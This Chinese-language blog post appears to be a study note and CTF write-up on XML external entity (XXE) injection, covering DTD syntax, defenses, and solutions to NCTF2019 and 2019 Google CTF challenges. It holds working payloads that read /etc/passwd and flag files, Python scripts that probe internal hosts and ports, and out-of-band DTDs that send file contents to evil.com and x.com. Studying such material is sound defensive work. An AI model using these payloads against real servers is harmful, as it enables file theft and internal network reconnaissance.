XEE漏洞学习


XXE——外部实体注入概述

XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击

概述

XML 被设计用来传输和存储数据。

HTML 被设计用来显示数据。

XML 不会替代 HTML,理解这一点很重要。在大多数 Web 应用程序中,XML 用于传输数据,而 HTML 用于格式化并显示数据。

XML语法规则

  • xml 必须包含根元素,它是所有其他元素的父元素,比如以下实例中 root 就是根元素:

    <?xml version="1.0" encoding="UTF-8"?> //文档开头必须
    <root>
      <child>
        <subchild>.....</subchild>
      </child>
    </root>
    
  • 在 XML 中,省略关闭标签是非法的。所有元素都必须有关闭标签

  • XML 标签对大小写敏感。标签 与标签 是不同的。必须使用相同的大小写来编写打开标签和关闭标签

  • 在 XML 中,所有元素都必须彼此正确地嵌套

  • XML的注释同html

  • XML中空格会被保留,而HTML会把多个字符裁剪为一个

  • XML的标签可以自定义,就是说可以随便改

  • XML 的属性值必须加引号

    <note date="12/11/2007">
    <to>Tove</to>
    <from>Jani</from>
    </note>
    

简单来说就是xml语法基本同html,但是远比html要严格

XML实体

在 XML 中,一些字符拥有特殊的意义。

如果您把字符 “<” 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。

实体是用于定义引用普通文本或特殊字符的快捷方式的变量

为了避免这个错误,需要实体引用来代替 “<” 字符:

在 XML 中,有 5 个预定义的实体引用
&lt;    <    小于
&gt;    >    大于
&amp;    &    &符
&apos;    '    单引
&quot;    "    双引
  • 在 Windows 应用程序中,换行通常以一对字符来存储:回车符(CR)和换行符(LF)。

    在 Unix 和 Mac OSX 中,使用 LF 来存储新行。

    在旧的 Mac 系统中,使用 CR 来存储新行。

    XML 以 LF 存储换行。

所有的XML文档都由五种简单的构建模块(元素,属性,实体,PCDATA CDATA)构成

XML DTD

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。

DTD 的声明方式分为两种:内部 DTD 和外部 DTD ,其区别就在于:对 XML 文档中的元素、属性和实体的 DTD 的声明是在 XML 文档内部引用还是引用外部的 dtd 文件。

内部DTD

<?xml version="1.0"?> //声明xml版本
<!DOCTYPE note [   //声明此文档是note类型的文档
<!ELEMENT note (to,from,heading,body)>  //声明此文档的所有元素
<!ELEMENT to (#PCDATA)>  //定义to元素的类型为PCDATA
<!ELEMENT from (#PCDATA)>  // 定义from元素类型为PCDATA
<!ELEMENT heading (#PCDATA)> // 定义heading为PCDATA
<!ELEMENT body (#PCDATA)>  // 定义body为PCDATA
<!ENTITY writer "hello world"> // 定义一个内部实体
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>

外部DTD

外部引用分为通用实体和参数实体

  • 通用实体

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY > #定义元素为ANY,即可以接受任何元素。
    <!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]> // 定义通用实体
    <root>
    <body>&xxe;</body> #定义一个外部实体
    </root>
    

通过第 4 行的定义, 第 7 行的 &xxe 就会对 c:/test.dtd 文件资源进行 SYSTEM 关键字的引用,这样对引用资源所做的任何更改都会在文档中自动更新。

另外除了上面 SYSTEM 关键字的引用方式,还有一种引用方式是使用 PUBLIC 引用公用 DTD 的方式,语法如下:

<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

这个在我们的攻击中也可以起到和 SYSTEM 一样的作用,但实际上实体远不止这一种,我们以上涉及的实体只是其中的一种,被称为通用实体。

  • 参数实体

    <!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
    <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
    %an-element; %remote-dtd;
    

    在上面的代码示例中,可以看到实体名前多了一个 “%” ,在参数实体中使用 “% 实体名” (这里面的空格不能少) 定义,并且只能在 DTD 中使用 “% 实体名” 引用。

通用实体和参数实体的区别

  • “参数实体”在 DTD 中声明并在 DTD 中使用

    DTD文件中只有参数实体才能引用其他实体

  • “通用实体”在 DTD 中声明并在 XML 文档中使用

    XML中必须要用通用实体引用DTD

通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。

通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。

而您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。

您还可以使用 DTD 来验证您自身的数据。

XXE注入实例

<?php
  libxml_disable_entity_loader (false);
  $xmlfile = file_get_contents('php://input');
  $dom = new DOMDocument();
  $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
  $creds = simplexml_import_dom($dom);   echo $creds;
?>

libxml_disable_entity_loader

禁用加载外部实体的功能

当值为false时开启对xml实体的加载功能

默认是禁用的

php://input、$_POST与$HTTP_RAW_POST_DATA

  • $_POST

这是在数据交互时的常用方法,但不能接收json格式的数据,因为==post是以关联数组方式组织提交的数据==,并对此进行编码处理,如urldecode,甚至编码转换,识别的数据类型是PHP默认识别的数据类型,如application/x-www.form-urlencodedmultipart/form-data,无法解析如text/xmlapplication/json等非application/x-www.form-urlencoded 数据类型的内容。

  • $HTTP_RAW_POST_DATA

==PHP默认识别的数据类型是application/x-www.form-urlencoded==,当**Content-Type=application/json**
类型时无法通过 $_POST获取,但是使用 GLOBALS[‘HTTP_RAW_POST_DATA’]可以获取到。因为在PHP无法识别Content-Type的时候,就会把 POST 数据填入HTTP_RAW_POST_DATA 中。但这种方法需要设置 php.ini 中的 always_populate_raw_post_data 值为 On 才会生效,且当POST 与php://input可以取到值时 $HTTP_RAW_POST_DATA 为空,当enctype=”multipart/form-data”时也无法使用。

php7已经移除了这个全局变量

  • php://input

Coentent-Type为multipart/form-data之外,PHP都会将http请求数据包中的相应数据填入php://input,填入的长度由Coentent-Length指定。并且只有当Content-Type为application/x-www-data-urlencoded时,php://input数据才跟$_POST数据相一致(格式不一致,内容一致)。

HTML DOM Document 对象

每个载入浏览器的 HTML 文档都会成为 Document 对象。

Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问。

loadXML() 方法

loadXML() 方法通过解析一个 XML 标签字符串来组成该文档。

语法:

loadXML(text)
  • LIBXML_NOENT 该标志允许替换XML字符实体引用(无论是否外部).

    如果没有LIBXML_NOENT,它将导致内部和外部实体的行为不同,因为不会加载内部和外部实体.

  • LIBXML_DTDLOAD 该表示允许加载DTD

simplexml_import_dom()

该函数把 DOM 节点转换为 SimpleXMLElement 对象。

语法

simplexml_import_dom(data,class)
参数 描述
data 必需。规定要使用的 DOM 节点。
class 必需。规定新对象的 class。

因为xml的特性(语法严格),所以flag中包含如<>&"'等会报错,所以这时需要使用CDATA,或者base64编码

什么是CDATA:

CDATA,意为character data,是标记语言SGML与XML,表示文档的特定部分是普通的字符数据,而不是非字符数据或有特定、限定结构的字符数据。在XML文档或外部实体中,一个CDATA section是一段按字面解释的内容,不作为标记文本。字符用CDATA节表示或者按照标准语法表示,并无差异。

CDATA 部分由"<![CDATA["开始,由"]]>"结束

可用协议和平台的关系

总结概述:

XXE和SSRF都能从服务器向另一台服务器发起请求,如果将远程服务器的地址换成某个内网的地址,(比如 192.168.0.10:8080)也能实现 SSRF 同样的效果

XXE 其实也是一种 SSRF 的攻击手法,因为 SSRF 其实只是一种攻击模式,利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。

所以在进行XXE攻击时,我们必须知道在何种平台能使用何种协议

img

HTTP内网探测主机

正如刚才说的,XXE的本质其实就是一种SSRF。所以SSRF可以做到的事情XXE自然也能做到

因此XXE也可以探测内网主机

内网探测主机脚本:

import requests
import base64
def XXE(ip,string):
    try:
        xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
        xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
        xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
        xml = xml + "\r\n" + """<xml>"""
        xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
        xml = xml + "\r\n" + """</xml>"""
        x = requests.post('http://192.168.50.132/xxe_blind_test.php', data=xml, headers=headers, timeout=5).text
        coded_string = x.split(' ')[-2]
        print(' [+]',ip,'Successfully Found !!!')
    except:
        print(' [-]',ip,'Error Not Found !!!')  
        pass
    
if __name__ == '__main__':
    headers = {'Content-Type':'application/xml'}
    for i in range(1,255):
        ip = '192.168.50.' + str(i)
        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
        XXE(ip,string)

探测到主机后,我们要对其进行端口扫描,原理同探测主机,只不过室将遍历ip地址变成了遍历端口号

当然也可以使用burp和nmap探测

XXE端口探测端口脚本

import requests
import base64
def XXE(port):
    xml = """<?xml version="1.0" encoding="utf-8"?> """
    xml = xml + "\r\n" + """<!DOCTYPE data SYSTEM "http://192.168.50.132:""" + str(port) + """/" ["""
    xml = xml + "\r\n" + """<!ELEMENT data (#PCDATA)> """
    xml = xml + "\r\n" + """]>"""
    xml = xml + "\r\n" + """<data>7</data>"""
    r = requests.post('http://192.168.50.132/xxe_blind_test.php', data=xml,timeout=5)
    #print(port,r.elapsed.total_seconds())
    if ("Connection refused" in r.text):
        print(" [-]", port, " seems shut down")
    else:
        print(" [+]", port, "is up")

if __name__ == '__main__':
    for i in range(9080,9082):
        XXE(i)

无论什么脚本都需要根据实际的情况来决定,脚本不是一成不变的

XXE漏洞挖掘

以下摘自:https://ca01h.top/Web_security/basic_learning/20.xxe%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/#%E6%80%9D%E8%80%83

常用检测方法

首先查看XML是否可以成功解析

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [  
<!ENTITY name "test1">]>    
<root>&name;</root>

如果页面输出了test1,则可以解析XML。

第二步查看是否支持DTD引用外部实体:

<?xml version=”1.0” encoding=”UTF-8”?>  
<!DOCTYPE ANY [  
<!ENTITY % name SYSTEM "http://myhost/index.html">  
%name;  
]>

然后在我的服务器上查看日志,如果有目标服务器向我的服务器发送了一条index.html的请求,说明
支持引用外部实体,很有可能存在xxe漏洞。

外部普通实体

当有回显时,利用file://协议:

<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE lltest[
    <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]> 
<user><username>&xxe;</username><password>123456</password></user>

外部参数实体

当无回显,使用http协议:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[ 
<!ENTITY % lltest SYSTEM "http://myhost:1234/test_xxe">
%lltest;
]>

然后在myhost监听1234端口(dnslog地址也可以),查看是否有http请求。

JSON 字符串XXE

现在基本上所有的web程序都放弃了XML而使用JSON作为Clinet-Server 通信的数据格式

不过虽然只可以正确的接收一种,但服务器可以解释多种,这就导致了即使使用JSON接收数据,仍会收到XXE注入攻击

测试方法很简单,就是将Content-Type: application/json修改为Content-Type: application/xml,数据格式不变,查看是否报错:
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}
可以发现服务器是可以处理xml数据的,于是我们利用这个来进行攻击。
payload:

...
Content-Type: application/xml
...
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<param1>name</param1>
<param2>&xxe;</param2>
</root>

查看是否可以读取敏感文件。

利用FTP协议获取敏感信息

利用ftp协议获取服务器信息/内网ip之类的技巧:
在攻击者服务器上运行rb脚本(模拟FTP服务器:https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb),监听8080端口。
然后在web程序那里输入payload:

<?xml version="1.0"?>
<!DOCTYPE a [
   <!ENTITY % asd SYSTEM "http://evil.com/ext.dtd"> 
   %asd; 
   %rrr; 
]>
<a></a>

ext.dtd

<!ENTITY % b SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://evil.com:8000/%b;'>">

然后在模拟的FTP服务器上就会收到一些服务器信息/文件内容

技巧来自:http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html

Bypass

有时Server会将用户的输入做一定的限制,但XXE的攻击模式和XML的传参方式注定限制不可能过多(会影响网站的性能),所以按过滤的情况百度即可

无法调用外部实体时的注入

内部实体引用

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    <!ENTITY % ISOamso '
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;file://hhhhhhhh/?&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;send;
    '> 
    %remote;
]>
<message>1234</message>

三层嵌套

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ELEMENT message ANY>
    <!ENTITY % para1 SYSTEM "file:///flag">
    <!ENTITY % para '
        <!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
        &#x25;para2;
    '>
    %para;
]>
<message>10</message>

这部分可以看2019 Google CTF-XXE https://zhuanlan.zhihu.com/p/88125925

应该算是XXE部分最难的题目

XXE的防御

以下摘自https://ca01h.top/Web_security/basic_learning/20.xxe%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/#XXE%E5%A6%82%E4%BD%95%E9%98%B2%E5%BE%A1

1、使用开发语言提供的禁用外部实体的方法
php:

libxml_disable_entity_loader(true);

java:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2、过滤用户提交的XML数据
过滤关键字:<\!DOCTYPE<\!ENTITY,或者SYSTEMPUBLIC
3、不允许XML中含有自己定义的DTD

用CTF题目理解XXE攻击

[NCTF2019]Fake XML cookbook

image-20210922115020731

进入后首先可以看到一个登录页面,直接先上CTF三部曲——看源码、抓包、找后台

image-20210922115306562

这道题很直白,可以明显的看到这是XXE漏洞

如果是application/json 就要转为xml试一试了,一般来说,看传参格式是<...>基本就可以确定是xml了

当然也可以测试一下

image-20210922121057721

测试方法就是随便写一个不可能被过滤的字符,然后看看响应的回显

根据之前所学的XML语法,来构造payload,当然一般情况下可以直接百度payload

image-20210922120057063

file伪协议payload:

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<user>
<username>&file;</username>
<password>1111</password>
</user>

file协议用于要读取的文件没有如<&等特殊字符的情况下,有特殊字符会导致失败报错

php伪协议payload

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<user>
<username>&file;</username>
<password>1111</password>
</user>

php编写的网站中,php伪协议基本可以说是最可用的协议

image-20210922120250632

查看内网的存活主机

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///etc/hosts">
]>
<user>
<username>&file;</username>
<password>1111</password>
</user>

image-20210922120340118
主要就是使用几个Linux系统的特殊文件夹

这里也不只有/etc/hosts文件,还可以通用/proc目录下的多个文件查看,一般使用hosts足以

/proc文件目录:


flag

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>1111</password>
</user>

调用其他服务器的DTD文档

(先留着,服务器这几天炸了,没得试)

得到flag

flag{dd841ec9-3408-4ce8-9f13-b1304a2d987e}

2019 Google CTF-XXE

image-20210922135607013

CTF三部曲直接开始

image-20210922135954340

json格式,学的XXE , 不妨试一试改xml

image-20210922140541726

将message从json格式改为xml格式

image-20210922141010151

回显成功

payload:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE message [
<!ELEMENT message (#PCDATA)>
<!ENTITY id "1234010123502402340">
]>
<message>&id;</message>

payload我是直接抄的wp,但后面我自己研究了一下,所以分析一波

不想看就跳过这部分

分析

将json格式的数据改为xml格式,可以使用工具也可以直接手敲,原理都一样

题目中给我们的是{"message":"135601360123502401401250"}

xml和json的数据有一个对应法则,json的key值对应xml标签,json的value对应xml的值

所以可以改为

<?xml version="1.0"?>
<message>135601360123502401401250</message>

image-20210922143808992

报错,根据错误提示,我们需要一个XML-DTD

所以改为xml引用DTD的值

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY aaa "135601360123502401401250">
]>
<message>&aaa;</message>

仍然报错

image-20210922144133336

root和message不匹配,说明题目允许解析的DTD文档根标签需要和xml传入的标签一致,故将根标签改成message

<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY aaa "135601360123502401401250">
]>
<message>&aaa;</message>

又报错,说没有ELEMENT声明,这个我真没查到为什么一定要写,大概和我没有把xml完整学一遍有关

image-20210922144519907

他说缺啥我就给啥

<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message (#PCDATA)>
<!ENTITY aaa "135601360123502401401250">
]>
<h1>&aaa;</h1>

这就是wp里的payload了

CDATA和PCDATA

  • CDATA是指CDATA就是指字符串
  • PCDATA可以是字符串、子元素、字符串和子元素 ,是混合类型

攻击部分

在成功后,开始攻击

回显不会改变,所以不能直接写请求包上面,而外部实体无法调用

<!ENTITY % dtd SYSTEM "https://x.com">

调用会直接报错

这里wp调用了Linux自带的dtd

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE message [ 
<!ELEMENT message (#PCDATA)>
<!ENTITY id "1234010123502402340">

<!ENTITY % dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">  //加载了自带的dtd
<!ENTITY % ISOamsa '
  <!ENTITY &#x25; file SYSTEM "https://x.com">  // 嵌套一个外部引用
  &#x25;file; // 引用外部引用
'> // &#x25是HTML的一种编码方式
%dtd;
]>
<message>&id;</message>

flag

最终payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE message [ 
<!ELEMENT message (#PCDATA)>
<!ENTITY id "1234010123502402340">

<!ENTITY % dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '  // 重写docbookx.dtd的ISOamsa方法
  <!ENTITY &#x25; file SYSTEM "file:///flag">
  <!ENTITY &#x25; all "<!ENTITY &#x26;#x25; xxe SYSTEM &#x27;https://x.com/&#x25;file;&#x27;
  >">
  &#x25;all;
  &#x25;xxe;
'>
%dtd;
]>
<message>&id;</message>

image-20210922174839837

ubuntu系统自带 /usr/share/yelp/dtd/docbookx.dtd 文件

它定义了很多参数实体并调用,所以我们可以在内部重写一个该dtd文件中含有的参数实体

image-20210922174507023

Reference

https://ca01h.top/Web_security/basic_learning/20.xxe%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8


文章作者: Atmujie
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Atmujie !
评论
  目录